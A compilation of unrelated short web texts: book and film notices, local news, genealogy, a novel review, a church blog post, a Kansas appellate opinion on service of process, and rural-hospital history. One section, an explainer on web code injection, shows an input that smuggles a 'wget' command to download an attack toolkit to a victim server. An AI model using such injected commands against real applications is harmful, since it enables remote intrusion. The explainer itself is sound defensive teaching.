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Gary the Gopher - an ordinary gopher in every way but one - wants to fly.
The book is populated with memorable characters, including Gary's friend Beaver, Old Fish, Hawk and Horse. It reads a bit like a children's story, like all good fables do -- and like all good fables there are lessons to learn.
What Gary learns are the keys to building and maintaining relationships in life and in business. Melissa Karz ('98), who co-authored Invisible Bridges with UCLA Anderson Professor John Ullmen, believes the lessons of Invisible Bridges form "roadmaps for relationships" and that "to get anywhere, you need to build and maintain (those) relationships."
Don't confuse Invisible Bridges with yet another treatise on the value of networking. Karz compares IB with Dr. Spencer Johnson's motivational Who Moved My Cheese and believes IB falls better in the life-skills category than it does with other business books.
Though written as a fable, Invisible Bridges is a serious work, rooted in four years of research and database of 2,000 individuals who participated in focus groups, surveys and one on one questioning. The research produced thirty-six action items - the best of the best practices for relationship building and maintenance. Some of these are distilled down at the end of the book as Gary the Gopher summarizes what he'd learned.
"We found that scholars and consultants often advise managers who have problems with trust, teamwork, leadership, career advancement and so forth to build strong relationships. But they don't say how to do it," Karz explained. "That's what our book does. It provides the "how" of relationship building, based on years of research into what the "best of the best" actually do, step by step, to build their relationship networks. Everyone says it's important to build relationships in professional life. We wanted to show how anyone could do it.
"The really cool thing about it," Karz said, "is that everyone can access (and put the lessons into practice). You don't have to be an extrovert. You can be an introvert. It's about you being at your best."
One key, Karz says, is authenticity.
"So much of what people do (when building relationships) is formulaic. If it's 'salesy' it's fake," she said. The key, Karz explains, is helping people find their authentic approach in their dealings with others. Karz tells readers and clients that "Your network is looking for you" and focuses on how they can develop authentic rapport with those around them.
Despite writing Invisible Bridges (along with the accompanying work book) and numerous magazine articles, Karz does not consider herself an author. In addition to her Bridges-related endeavors, she works as an organizational consultant, a career trainer and facilitator and an executive educator and career coach. She is a partner in both Professional Relationship Institute and Kruz Consulting. All her work, she says, "is about helping people stay at their best. My focus is on helping people meet their potential. It's not exactly surprising when she reveals that she also considered careers in psychology and entering the rabbinate, before deciding on earning an MBA. Her (recent) client list includes working with executives at Raytheon, Sony, The Braille Institute and the civilian employees at the marine base in Twenty-Nine Palms, California. "It's fascinating working with the different cultures," said Karz, whose undergraduate degree is in cultural anthropology.
Karz maintains close ties to Anderson. She's contributed career-minded articles to Assets and taught a variety of different courses and workshops for fellow alumni.
Her most recent is the Career Moms Momentum Group series. The first session, recently held, asked participants to take a personal inventory and to assess the choices they are facing. Future sessions (they are not interdependent) will include "Reinventing Work-Life: Positive Trends: Harsh Realities" (January 16, 2008 6:30-9:00), "Setting Your Direction: Gaining Clarity in the Job Hunt" (May 14, 2008 6:30-9:00) and 'Strategic Networking for Moms - October 15, 2008 6:30-9:00). According to the series marketing material "the Career Moms Momentum Seminars (CMMS) are two and a half hour sessions offered quarterly by the Office of Alumni Relations in partnership with CMMS facilitators to bring professional women together to address whatever transition they are in (ready to plan their future, currently expecting, taking time off to focus on family, ready to opt back in) together from across the area."
At the moment, Karz estimates that she is dividing her time evenly between her Bridges work and career consulting. There are already Bridges books, guides and DVDs and the authors are currently looking for distribution partners expert in rolling and books and ancillary products with an eventual goal to take the products to an international audience.
"John (Ullmen) and I have a shared passion to help people build strong relationships," Karz said. "Over the years of coaching and consulting we've seen how often organizational problems are rooted in relationship disconnects. Our mission is to help people build the bridges they need to succeed."


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TCM on Thursday will run a day-long tribute to the late Ernest Borgnine, who died Sunday at 95.
The 10-film memorial tribute will begin at 8 a.m. locally, with "The Catered Affair" (1956) and include "Torpedo Run" (1958), "Ice Station Zebra" (1968) and "The Dirty Dozen" (1967).
An encore of the "Private Screenings: Ernest Borgnine," an hour-long interview with Robert Osborne, is slated for 6 p.m., followed by Borgnine's Oscar-winning performance in "Marty" (1955).
All that's missing from the lineup: "McHale's Navy." This five-minute clip from ABC's 1960s sitcom brings back memories of Borgnine's eyes doing all the work.


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The 4G BlackBerry PlayBook will come to a reality later on this year. RIM's CEO Thorsten Heins has confirmed that a 4G version will be coming by the end of the year. Early specs on the devices suggest that it will have a 1.5 Ghz dual-core processor, and NFC, other than that it is said to be pretty similar to the current PlayBook. RIM has also confirmed that they are working on a 10-inch PlayBook as well, which leaves one wondering if we may see a 10-inch LTE device by the end of the year.
No matter what the specs are, it still leaves some wondering how well consumers will perceive the new device. It was over a year ago that RIM first launched the PlayBook, and it is no secret how well that went. So will consumers give the PlayBook 4G another go? Will businesses embrace it with open arms? Only time will tell, but having a constant 4G connection on a superior device is pretty awesome!


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HOLLISTER — A 63-year-old San Jose resident was arrested following the suspicious death of a man who was found by police and firefighters in a single-family residence early Tuesday.
Emergency workers were called to the Morey Circle home around 1 a.m. on reports of a deceased male. A 55-year-old man was found at the home and pronounced dead at the scene by Hollister fire officials.
John Neuer was also found at the residence, and was questioned by police and then booked into San Benito County Jail on suspicion of murder, according to A Hollister Police Department news release.
The release states that "the circumstances around the death appear suspicious" but did not elaborate.
No information about a possible motive, manner of death or relationship between Neuer and the victim was available Tuesday evening.
The identification of the victim is being withheld pending notification of next of kin.
Anyone with information about the case is asked to contact Hollister police Detective Theresa Aguilera at 831-636-4330 or the anonymous WeTip line at 800-782-7463.
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Otto Strike and Bertha Wagner (see above) were raised in the same farmhouse; both wound up losing their spouses. Bertha's husband left her with two young children who eventually took back their mother's maiden surname.
The 1900 Census for household of Charles Wagner and Henrietta (Strike), nee. Hohnke, in West Houtzdale, Clearfield County, PA, included Charles' daughter, Bertha, as a single mother of girl and a boy surnamed Tuschling. Henrietta's children by a previous marriage to a Strike, Julius and Martha, were also living in the household. Henrietta's oldest biological child, Otto Strike, had left the farmstead and was working as a coal miner in the adjoining county of Cambria, in Barnesboro, PA.
As I said in the beginning, genealogy can be very complicated, but look again at the Masch Family Group Sheet above. George Masch's first wife was Caroline Cramp; and his second, Caroline Wollenschlager. The first child of George's second marriage, Johanna Luise Henrietta Masch, married a Johann Kramp. OK, couldn't Cramp and Kramp be spelling variations of the same family name? In other words, couldn't Cramp and Kramp be related?
I hate to do this to you, but I have one instance in which Cramp and Kramp were the same person! When Mrs. Johanna (Masch) Kramp arrived at Castle Gardens, NY, on the S.S. Werra, with her family of 6 children, they were listed on the passenger list as "Cramp". This is only a problem for genealogists. Incidentally, Johanna Kramp had two more children in America before she died early, at age 46, in 1891.
Other than than the two half-sisters, Henrietta and Johanna, and perhaps a third half-sister, Emily, I do not know the fate of the other children of George Masch and his two wives.
I guess we will never know the answer to all the questions that come up in our genealogical research. But we have SOME answers. And that's good enough for me and Bobby McGee.


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Code injection is one such attack, which exploits a web application's interface to the underlying operating system and results in the execution of arbitrary code. A simple example of a PHP code injection attack follows:
Directing a web browser to this application at the URL "application.php?name=Magoo" would result in the display of a webpage containing the word "Magoo". However, using the characters "Magoo; wget 184.108.40.206/toolkit.c" would execute two statements within the exec() function. The second statement is a malicious attempt to download a file to the victim host. A vulnerability similar to this was present in some versions of the Advanced Web Statistics (AWStats) script, a popular application used for summarizing information about visitors to a web site. This vulnerability has been widely abused by several worms, including Lupper. Note that AWStats is written in Perl so the problems we describe are by no means unique to PHP.
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"The problem specifically exists when the application is running as a CGI script on a web server. The "configdir" parameter contains unfiltered user-supplied data that is utilized in a call to the Perl routine open() as can be seen here on line 1082 of awstats.pl:
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which leads to the execution of the attacker's commands, because of the way perl's 'open()' function works. It seems as if the 'echo b_exp' at the start and a corresponding 'echo e_exp' at the end is intended to simplify parsing of the resulting web page, as in the this published exploit.
The PHPBB vulnerability that was exploited by the Santy worm was a problem of this type. PHPBB is a bulletin board written in PHP which allows users to post and reply to messages about various topics. A Google search for PHPBB reveals around 1.5 million sites at the time of writing. The Santy worm initially attempted to exploit the viewtopic.php vulnerability with a small test payload, simply printing out a particular piece of text. If the resulting web page contained the supplied text, the worm would launch its propagation code. (Eventually Google began to block Santy's queries.) The following is an example of an attack observed against PHPNuke which attempts to run the 'id' command. It is a maliciously crafted HTTP GET request:
The 'id' command identifies the current user and seems to be often used to test command injection issues, as the results of a successful test are easily identifiable. The vulnerability itself appears to be the phpBB Remote Command Execution (Viewtopic.php Highlight) issue which we discuss later. PHPNuke has included PHPBB for its forums "starting from somewhere around v. 6.5"


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by Jo Walton
Book list Walton says this book is the result of wondering what a world would be like if the axioms of the sentimental Victorian novel were inescapable laws of biology. It is also something truly different in the line of the novel. After a father dies, his children must deal with the circumstances of his death. One son, a parson, agonizes over his sire's deathbed confession. Another starts a court case to gain the inheritance. One daughter must choose between her family of origin and her husband. Another falls in love, but her course does not run smoothly thereafter. So what's different about all that? Well, everyone in the story is a dragon, and in their society, children eat their deceased parents, and the stronger eat the weaker, for only by eating the flesh of its kind can a dragon achieve full strength and power. So therein lies the difference, and the distinction of a little masterpiece of originality. --Frieda Murray Copyright 2003 Booklist
From Booklist, Copyright © American Library Association. Used with permission.
Publishers Weekly Dragons ritually eat dragons in order to gain strength and power in Walton's enthralling new fantasy (after 2002's The Prize in the Game), set amid a hierarchical society that includes a noble ruling class, an established church, servants and retainers. On the death of the dragon Bon Agornin, his parson son Penn, one of five siblings (two male and three female), declares, "We must now partake of his remains, that we might grow strong with his strength, remembering him always." But Bon's greedy son-in-law, Illustrious Daverak, consumes more than his fair share of the departed dragon, setting off a chain of unexpected and, at times, calamitous events for each sibling. Avan, the younger son, decides to litigate for compensation. One unmarried daughter, on moving in with the married sister and Daverak, discovers a house filled with injustice, while the other unmarried daughter goes off with Penn and falls in love. Full of political intrigue and romance, this provocative read sets the stage for further adventures in a world that, as the author admits in her prefatory note, "owes a lot to Anthony Trollope's Framley Parsonage." (Nov. 19) FYI: In 2002, Walton received a John W. Campbell Award for Best New Writer. Copyright 2003 Reed Business Information.
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Library Journal The deathbed confession of Bon Agornin places his heirs in a quandary as the five siblings maneuver for position and power within the family. What makes Walton's tale of dynastic intrigue unique is that the individuals are all dragons, with their own customs and traditions-such as the practice of consuming the bodies of their dead and killing their weaker children. Walton (The King's Piece) combines delicacy and savagery in a finely told tale suitable for most fantasy collections. Copyright 2003 Reed Business Information.
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Prosperity Theology, Creflo, and the People Called Methodist
Most of the Methodist world gasped in horror at the news last week that a prominent TV evangelist, the surreally-named Creflo Dollar, had gone public with his desire to raise $65 million from his faithful flock for a new private jet. (That's a lot of dough — you can build a substandard high school football stadium with that! Rim shot, please …)
People in the liberal Protestant tradition can't really relate to the financial attitudes of a large segment of Pentecostals and evangelicals. I can, because I grew up in this subculture.
My high school years, in particular, were spent at a growing, suburban megachurch in Plano, Texas, which came out of the Word of Faith movement, based in the ministry of Kenneth Hagin and Rhema Bible College. Churches throughout the world have imbibed their ethos from Hagin's influence, as well as his spiritual descendants, including Kenneth Copeland, Joyce Meyer, Benny Hinn, and others.
Since these are non-denominational churches, there is no direct link between them, except in the loose affiliation of friendly preachers and funders, as well as overarching themes and teachings, the primary one being something called "Prosperity Theology."
The first, and fundamental, tenet of Prosperity Theology (PT) is that God desires that all Christians be, if not wealthy, then extraordinarily well-to-do, and completely healthy. According to this thinking, believing Christians should have no unmet material needs, nor should they be sick. Proponents of PT point to Abraham as the paradigm of the faithful believer; he was obviously a rich man by any ancient Middle Eastern standard. Much of the Old Testament supports the concept that the faithful will be blessed, while the wicked will be punished with poverty — even in this world, never mind that a whole lot of the Old Testament is also spent pushing back on this concept, including the books of Job and Ecclesiastes.
Financial blessing is a spiritual birthright, then, of the believer. There are a number of ways to tap into this windfall. The Word of Faith folks emphasize the words and speech of our mouth; what we say out loud determines what actually happens. You must constantly "confess with your mouth" that you are prosperous and blessed. You must not allow yourself to voice negative thoughts, worries, or concerns, because then those things just might come true.
Furthermore, you must constantly "believe" or "have faith" that what you want will happen. To "believe for something," is PT code for "saying that something is going to happen, even though you don't have any proof that it will." It's essentially positive thinking on steroids.
Another way to receive the financial blessings you deserve is to give out of your poverty. The best way to show your faith is to give money away that you can't afford to give away. Like the widow who gave away her last two pennies, believers are encouraged to give sacrificially. These gifts are then, not simply offerings, they are "seeds" that are sown into fertile ground, and which will reap a substantial reward.
The best proof that this sowing and reaping dynamic works is to look at the preachers who practice it — the people who buy TV stations and broadcast their images throughout the world, while dressing like fashion stars, driving expensive cars, and, yes, buying private jets.
And this theology "works." All you have to do is count the number of people in Dollar's churches, or the numbers of people throughout the world who buy it. I was surprised to discover in Cameroon, that one of the handful of public TV stations that were available on every set, was a Christian station out of South Africa. Every program and preacher on the station promoted PT thinking. The Methodist pastors in our fledgling mission ate it up. They thought that's what American Methodists believed, too.
And so, when I heard Creflo Dollar's appeal, it didn't shock or surprise me. It made a lot of sense:
"The mission of Project G650 is to acquire a Gulfstream G650 airplane so that Pastors Creflo and Taffi (his wife) and World Changers Church International can continue to blanket the globe with the Gospel of grace. We are believing for 200,000 people to give contributions of 300 US dollars or more to turn this dream into a reality—and allow us to retire the aircraft that served us well for many years."
In my last year or two at this megachurch in Plano, I began to be troubled by the disconnect between what I heard from the pulpit and what I read in the Gospels. I notice that our pastor never preached on Jesus' words, "If you want to be my disciple, take up your cross and follow me." He never preached about Jesus' words to the rich young ruler, nor did he address Jesus' words about not having a place to lay his head.
Even worse was the disconnect between the message preached and the reality around me. I heard people in my church literally tell a man that if he had enough faith, his wife would not die of cancer. Three weeks later, when she died, I couldn't help wonder if his faith had been damaged for good.
I understand the appeal of PT; it does seem to speak a word of hope and expectation to poor people. But it's not the right word. It seriously distorts, not only Scripture, but also human experience.
I've tried to put that kind of theology far behind me. However, this morning, as I watch the furor around Dollar's request, I wonder how much PT has seeped into our very own Methodist subculture.
I've been vocal in the last few years about how much I distrust numbers as a sign of fruitfulness. I've written here and there about the meaningless of statistics, particularly church membership and attendance. I recognize that this is partly due to my own experience in a PT church growing up.
But take a look at some of the largest churches in the world — Nigeria's Living Faith World Outreach Ministry has a sanctuary that can seat 50,000. They have three services every Sunday. Pastor David Oyedepo is Nigeria's wealthiest preacher, worth $150 million by some estimates. And he preaches the same prosperity BS that Dollar preaches. Is the size of his church a sign of God's blessing on him?
I would argue, "Of course not." It IS possible to build a megachurch which is built on a faulty theology.
This leads to the question, "Is the size of any church a sign of God's blessing or curse AT ALL? Is it even a sign of doctrinal orthodoxy?"
The answer is, "No." It's simply not a direct correlation. Yet, we United Methodists continue to moan about our membership decline. We are worried that the numerical loss indicates something about our performance. This might be true, but it is not always true. Then we rush around trying to fix the numerical loss, assuming that it is performance-related. This causes us to create fundamentally-flawed, performance-based metrics. "Marks of fruitfulness" can never be expressed on a spreadsheet.
Let me say it clearly: the size and budgets of our churches do not matter, especially in terms of faithfulness, fidelity to the Gospel, and quality of ministry.
Let's take that question a step further: "Is the size of one's wallet, or salary, or savings, a sign of God's blessing or curse AT ALL?"
Again, the answer is, "No, not at all." Yet I fear that, subconsciously, there are a whole bunch of us Methodists who actually subscribe to the logic of Prosperity Theology, even if we would never articulate it in those terms, and are actually offended when we see it baldly expressed by the Creflo Dollars of the world.
John Wesley was absolutely right when, toward the end of his life, he lamented how wealthy the Methodists of England had become. He recognized that they never did really subscribe to the third of his famous trinity of financial maxims: "Earn all you can, save all you can, give all you can." In his sermon, "The Danger of Riches," he preached:
O ye Methodists, hear the word of the Lord! I have a message from God to all men; but to you above all. For above forty years I have been a servant to you and to your fathers. And I have not been as a reed shaken with the wind: I have not varied in my testimony. I have testified to you the very same thing from the first day even until now. But "who hath believed our report?" I fear, not many rich: I fear there is need to apply to some of you those terrible words of the Apostle: "Go to now, ye rich men! Weep and howl for the miseries which shall come upon you. Your gold and silver is cankered, and the rust of them shall witness against you and shall eat your flesh, as it were fire." Certainly it will, unless ye both save all you can and give all you can. But who of you hath considered this since you first heard the will of the Lord concerning it? Who is now determined to consider and practice it? By the grace of God begin today!
How many of us actually preach it, or practice it?
I confess that I don't, yet all the while, it convicts me, and gnaws away at my spirit, hoping that someday I might attain the practical holiness of Wesley.
I can sit here on my computer and take potshots at Creflo Dollar's silly jet idea all I like, but perhaps I am just as silly, greedy, and deluded. I have succumbed to the same dream, the anti-Christian American Dream, the anti-Gospel Prosperity Theology, because I, too, simply want to be wealthy, healthy, and successful.
Lord, have mercy on me.


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No. 93,927
By and Through Its Duly Appointed Administrator,
Lorie L. Norris,
If service of process or first publication purports to have been made but is later adjudicated to have been invalid due to any irregularity in form or procedure or any defect in making service, the action shall nevertheless be deemed to have been commenced at the applicable time under K.S.A. 60-203(a) if valid service is obtained or first publication is made within 90 days after that adjudication, except that the court may extend that time an additional 30 days upon a showing of good cause by the plaintiff. K.S.A. 60-203(b).
Appeal from Reno District Court; RICHARD J. ROME, judge. Opinion filed September 1, 2006. Affirmed.
Steven C. Day, Chris S. Cole, and Nancy Ogle, of Woodard, Hernandez, Roth & Day, LLC, of Wichita, for appellant.
Gerald L. Green and Melissa A. Moodie, of Gilliland & Hayes, P.A., of Hutchinson, for appellee.
Before RULON, C.J., ELLIOTT, J., and KNUDSON, S.J.
RULON, C.J.: Plaintiff Melvin Norris appeals the district court's decision granting defendant Mandy Hastings' summary judgment motion, finding that plaintiff's claim was barred by the statute of limitations because valid service was not timely obtained. We affirm.
Underlying Procedural Facts
The underlying claim involves a personal injury suit stemming from an automobile collision on April 27, 2000, between plaintiff and defendant. The accident report indicated that defendant's address was 1531 Eastland Drive, Hutchinson, Kansas, which was the address listed on defendant's driver's license at the time of the incident.
On March 22, 2002, plaintiff filed suit against defendant and requested a summons be issued serving defendant at 1531 Eastland Drive, Hutchinson, Kansas. On March 28, 2002, a copy of the summons and petition was left at the above address by the sheriff's office. Additionally, on April 11, 2002, a notice of service was mailed to the same address stating a copy of the summons and petition had been left at that address.
However, defendant and her family no longer lived at that address on March 22, 2002. The current tenants gave the petition and summons to defendant's mother. Defendant's mother called, informed defendant of the lawsuit, and mailed the petition and summons to defendant in Arizona.
On April 17, 2002, defendant filed an answer denying she lived in Reno County, Kansas. Defendant's answer specifically raised the affirmative defenses of insufficient process and insufficiency of service of process.
On April 11, 2003, defendant moved for summary judgment under K.S.A. 60-203(a) on the grounds plaintiff's suit was barred by the statute of limitations because plaintiff had failed to serve defendant within 90 days of filing the petition. Plaintiff filed a response requesting the district court stay plaintiff's motion and schedule a hearing on the issue of the sufficiency of the service of process.
On November 10, 2003, the district court found plaintiff's initial service on defendant was invalid and defective. Defendant renewed her summary judgment motion.
On November 1, 2004, the district court filed a memorandum decision adopting defendant's proposed findings and conclusions in total and granting defendant summary judgment. The court found plaintiff's action did not commence until after the expiration of the statute of limitations because plaintiff failed to properly serve defendant within 90 days of filing the petition. The court further found K.S.A. 60-203(b) did not apply to correct the deficiency of service.
Application of K.S.A. 60-203(b)
On appeal, plaintiff challenges the district court's decision to grant defendant's summary judgment motion. The parties agree there is no dispute over the material facts in this case. The parties agree the district court's decision was based on its interpretation and application of K.S.A. 60-203(b). Consequently, this court exercises de novo review. Roy v. Young, 278 Kan. 244, 247, 93 P.3d 712 (2004) (where there is no factual dispute, appellate review of an order regarding summary judgment is de novo).
This case involves a personal injury claim against the defendant. The statute of limitations on such a claim is 2 years. K.S.A. 60-513. Because the incident on which the claim is based occurred on April 27, 2000, plaintiff's civil action must have "commenced" prior to April 27, 2002, or somehow relate back to a date prior to April 27, 2002, in order to have been timely filed. See K.S.A. 60-203(a); K.S.A. 60-513; Grimmett v. Burke, 21 Kan. App. 2d 638, 641, 906 P.2d 156 (1995), rev. denied 259 Kan. 927 (1996).
A civil action commences on the date a petition is filed with the clerk of the court, so long as there is a valid service of process within 90 days of the filing. K.S.A. 60-203(a)(1). Otherwise, the action commences upon the date of a valid service of process unless K.S.A. 60-203(b) applies, allowing the action to relate back to the date the petition was originally filed. K.S.A. 60-203(a)(2).
K.S.A. 60-203(b) provides:
"If service of process or first publication purports to have been made but is later adjudicated to have been invalid due to any irregularity in form or procedure or any defect in making service, the action shall nevertheless be deemed to have been commenced at the applicable time under subsection (a) if valid service is obtained or first publication is made within 90 days after that adjudication, except that the court may extend that time an additional 30 days upon a showing of good cause by the plaintiff."
In Grimmett, this court recognized that K.S.A. 60-203(b) should be liberally construed. 21 Kan. App. 2d at 647. It also held:
"[B]efore it can be said that service has 'purported to have been made,' it must be shown that a defendant was given actual notice of having been sued. We also conclude that the following factors should exist: (1) The original service must have 'appeared' to be valid and the returns by the sheriff's office or other process servers must indicate that the service was valid. (2) The record should show that the plaintiff believed in good faith that his or her service was valid and relied on that validity to his or her detriment. (3) The plaintiff had no reason to believe the defendant was contesting service until after the statute of limitations had run, but had no opportunity to take steps to correct the defective service." 21 Kan. App. 2d at 647-48.
In Pieren-Abbott v. Kansas Dept. of Revenue, 279 Kan. 83, 101, 106 P.3d 492 (2005), the Kansas Supreme Court recognized that the Grimmett factors "limit the application of K.S.A. 60-203(b) in accordance with the legislature's intent to give parties a second chance at service only when the original service was declared invalid despite the fact that it gave the defendant actual notice of suit." 279 Kan. at 101-02. The Kansas Supreme Court adopted the Grimmett factors and held that they should be utilized to determine if K.S.A. 60-203(b) applies when the district court has adjudicated a plaintiff's improper service of process defense on the merits. 279 Kan. at 102 (citing Yoh v. Hoffman, 29 Kan. App. 2d 312, 315, 27 P.3d 927, rev. denied 272 Kan. 1423 [2001]).
On August 27, 2002, plaintiff's counsel and defendant's counsel had a telephone conference. Defendant's counsel informed plaintiff's counsel about the legal issue involved with the attempted service of process and that defendant did not live in Kansas. Later that day, defendant's counsel provided plaintiff's counsel with defendant's current address. Plaintiff issued an alias summons which was served on defendant on August 30, 2002.
Eventually, the district court found K.S.A. 60-203(b) did not apply. The court found that although defendant received notice of the lawsuit from the attempted March 28, 2002, service, the service was not valid. This record shows the returned envelope containing the April 18, 2002, notice of service indicated the service was not valid. Furthermore, the district court found plaintiff could not believe in good faith that service was valid. Finally, the court found plaintiff had reason to believe defendant was contesting service before the statute of limitations had run and while there was still an opportunity to correct any defective service.
The district court found valid service was not obtained until November 25, 2003, the date plaintiff served defendant with an alias summons. Pursuant to K.S.A. 60-203(a), the action commenced on November 25, 2003, well beyond the April 27, 2002, date on which the statute of limitations expired.
Plaintiff argues that Hughes v. Martin, 240 Kan. 370, 729 P.2d 1200 (1986), is controlling on this issue. Hughes instructs that K.S.A. 60-203(b) should be applied liberally "in cases involving any irregularity or any defect in the service of process." 240 Kan. at 376.
Hughes does not entirely control this issue. While K.S.A. 60-203(b) should be liberally construed to prevent actions from being barred based on good faith mistakes made as part of the service of process, our Supreme Court has recognized limits upon the statute's application. Pieren-Abbott, 279 Kan. at 101-02 (adopting the Grimmett factors).
Plaintiff argues that K.S.A. 60-203(b) is applicable even considering the Grimmett factors. Plaintiff notes that defendant did receive notice of the suit as a result of the initial service, as tenants at defendant's old address forwarded the petition and summons to defendant's mother who phoned defendant and mailed the information to defendant in Arizona.
Plaintiff argues he had a good faith belief that the service was valid. Plaintiff contends that even though defendant filed an answer denying that defendant lived in Reno County, Kansas, and asserted the affirmative defenses of insufficient process and insufficient service of process, there was nothing to indicate the initial service was not valid. Plaintiff argues that "matters relating to affirmative defenses are frequently set forth in answers filed by defendants to avoid inadvertent waiver of those defenses."
Plaintiff's arguments are not persuasive because plaintiff would have been able to see from the returned envelope filed with the court that defendant no longer lived at her previous address. Even without the envelope, defendant's answer gave a clear indication service was not valid, given defendant denied living in Kansas and defendant was raising the affirmative defenses of insufficient process and insufficient service of process. Plaintiff had sufficient time to correct any irregularities or deficiencies in the service of process or file for a 30-day extension to do so.
As the district court noted, even though defendant was notified of the suit based on the initial service, such did not diminish the reality that (1) the original service did not appear to be valid; (2) plaintiff could not claim a good faith belief that service was valid; and (3) plaintiff had a reason to believe defendant was contesting service prior to the expiration of the statute of limitations. The district court did not err when refusing to apply K.S.A. 60-203(b) to prevent plaintiff's claim from being barred by the statute of limitations.
KNUDSON, J.: I respectfully dissent. The result of the majority opinion is harsh and inconsistent with a liberal construction of K.S.A. 60-203(b). See Hughes v. Martin, 240 Kan. 370, Syl. ¶ 1, 729 P.2d 1200 (1986). Understandably, the majority relies on the holdings in Grimmett v. Burke, 21 Kan. App. 2d 638, Syl. ¶ 4, 906 P.2d 156 (1995), rev. denied 259 Kan. 927 (1996), ostensibly adopted by the Kansas Supreme Court in Pieren-Abbott v. Kansas Dept. of Revenue, 279 Kan. 83, 101, 106 P.3d 492 (2005). I use the word "ostensibly" because the holding in Grimmett refers to "[o]ther factors to be considered in determining whether service was 'purported' to have been made," and not factors that must exist. See Grimmett, 21 Kan. App. 2d 638, Syl. ¶ 4. The language relied on by the Pieren-Abbott court is found in the body of the Grimmett decision, but not in the syllabus that is the actual holding of the court. See K.S.A. 20-111.
I believe on reconsideration the Kansas Supreme Court would conclude the Grimmett factors are just that and should not be applied in a formalistic and rigid manner to defeat service purportedly made by a party. As noted in Hughes, application of 60-203(b) is factual in nature. 240 Kan. at 376. A liberal and factual interpretation of a statute, which is exactly what the legislature intended, should not be defeated by inconsistent constructs no matter how well-intended. I submit it is inconsistent with legislative intent to hold the Grimmett factors must be present as a matter of law before 60-203(b) is found to be applicable.
In Grimmett, the court explained its construction of 60-203(b), stating:
"Hughes v. Martin establishes that 60-203(b) is to be liberally construed. It also indicates that the application of the statute is factual in nature. The court also defines the verb 'purport' to mean 'to have the appearance of being.' As we understand the court's language, if service purports to have been made, it must appear to have been made.
"There are two ways to construe the statute, one is extremely liberal and the other appears to be a commonsense approach. A very liberal construction gives the plaintiff a second chance at service. It would establish that a plaintiff always gets a second chance under 60-203(b) when his or her original service has been determined invalid. This would be true no matter how inept or how lacking in good faith the original service may have been. In the extreme, a liberal approach of this nature would simply ignore the first service and extend the process far beyond applicable time frames. This approach would allow a party to simply leave a summons for John Doe at a bar, at a church, at Arrowhead Stadium, at the courthouse, or any other place and still insist that by doing so the party had 'purported' to serve a defendant. Such a liberal construction is ludicrous; we do not believe it was intended and will not adopt that approach. The purpose of 60-203(b) is to give a second chance at service to a party whose original service was declared invalid despite the fact that it gave the defendant notice of suit." 21 Kan. App. 2d at 647.
Here, we do not have attempted service at a drinking establishment, place of worship, or a sports venue. The plaintiff attempted residential service as authorized by law. K.S.A. 60-303(d). Thus, we are not faced with a "liberal construction [that is] ludicrous." The official accident report and the defendant's driver's license gave her residence as 1531 Eastland Drive, Hutchinson, Kansas. Under such circumstances, I do not conclude it defies the "appearance of being" for the plaintiff's attorney to request service of process at that address.
Moreover, the defendant did receive notice of the suit as a result of the purported service. In addition, the purported service did appear to be valid. The return was made by the sheriff, and the clerk of the district court mailed a copy of the return to the plaintiff's attorney in conformity with K.S.A. 60-312(d). Subsequently, there was no amendment of return as required in K.S.A. 60-313 that would have required the clerk of the district court to mail a copy of the amended return to the plaintiff's attorney. Instead, the returned envelope indicating unsuccessful service was filed away in the court file with no actual notice to the plaintiff's attorney. I refuse to accept these circumstances as substantial competent evidence that "service in this case did not appear valid and the returns by the Sheriff indicated the service was not valid." The opposite is true--service did appear valid and there was no amended return as required by law.
The district court also held: "Under the uncontroverted facts of this case, Plaintiff had reason to believe that Defendant was contesting service before the statute of limitations had run and while there was still an opportunity to take steps to correct the defective service." The record on appeal discloses the defendant filed her answer on April 17, 2002, using boilerplate language to raise the affirmative defenses of insufficiency of process and insufficiency of service of process. I acknowledge the defendant's attorney respectfully disagreed with my characterization of the affirmative defenses as boilerplate; nevertheless, I stand on my belief most defense lawyers, many hired by insurance companies, with little or no personal contact with the insured, routinely include such averments in answering a petition. The defendant's answer, filed 10 days before the statute of limitations had run, is not substantial competent evidence of the plaintiff's reason to believe the defendant was making a substantial claim of improper service that defeats the reach of 60-203(b).
From the viewpoint of the plaintiff: (a) the defendant had actual notice of the lawsuit; (b) the original service looked good on its face; and (c) the clerk of the district court did not notify the plaintiff of any defect in service. The district court, and a majority of our panel, conclude service was not purportedly made because the plaintiff's attorney failed to review the court file and the defendant raised insufficiency of process and insufficiency of service of process in her answer. I do not believe either failure supports a conclusion of law that service of process was not purportedly made within the meaning of 60-203(b). As I have already indicated, the duty is on the sheriff to file an amended return, not done in this case, and on the clerk of the district court to send a copy of the amended return to the unsuspecting plaintiff. Finally, insertion of so-called boilerplate affirmative defenses by the defendant's attorney is not sufficient to place a competent attorney on notice that there is a serious deficiency in service of process.
In summary, the Grimmett factors should not be applied in a dogmatic fashion that turns liberal construction of 60-203(b) on its head and defeats purported service under 60-312(d). I would not apply the Grimmett factors exclusively to determine whether 60-203(b) is applicable. Alternatively, under the circumstances of this case, I do not conclude there is substantial competent evidence to support the district court's findings that 60-203(b) does not apply. In Grimmett, Judge Lewis, speaking for the court, was understandably concerned with an extreme liberal construction of the statute that would be ludicrous. 21 Kan. App. 2d at 647. Here, we have a factual pattern at the other extreme, and the result is an extreme conservative construction of the statute that effectively defeats the intent of the legislature. Accordingly, I must dissent.


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Thanks to visionary leadership and exceptional community support, all was well at Skiff in the mid-1990s. But Newton was not typical of other rural hospitals in America at this time.
When Medicare changed its payment structure from one focused on ensuring all the costs of providing care to Medicare patients was reimbursed to hospitals and implemented a new system focused on paying what Medicare believed the cost "should" be, hospitals across the country immediately felt the pinch. Our hospital responded in many ways, including reducing the number of hospital beds dramatically and focusing operations on outpatient services. This included changing our name from Mary Francis Skiff Memorial Hospital to a name with a much broader perspective: Skiff Medical Center. Because it was located in a town with a solid base of high-paying jobs with great health insurance benefits, Skiff was able to re-engineer itself to withstand the significant reduction in Medicare payments.
Unfortunately, most rural hospitals were not located in towns as large as Newton, nor did they have the strong base of patients with private insurance to support them. These small hospitals began losing money and quickly dipped into their financial reserves to cover the mounting losses associated with caring for Medicare patients.
The problem was most desperate in small frontier communities that were located a significant distance away from larger population centers. In these areas, the local hospital was typically the largest employer in town and provided the only access to local emergency medical care.
As more and more hospitals teetered on the edge of closure, states like Montana and Wyoming began experimenting with ways to keep their hospitals alive.
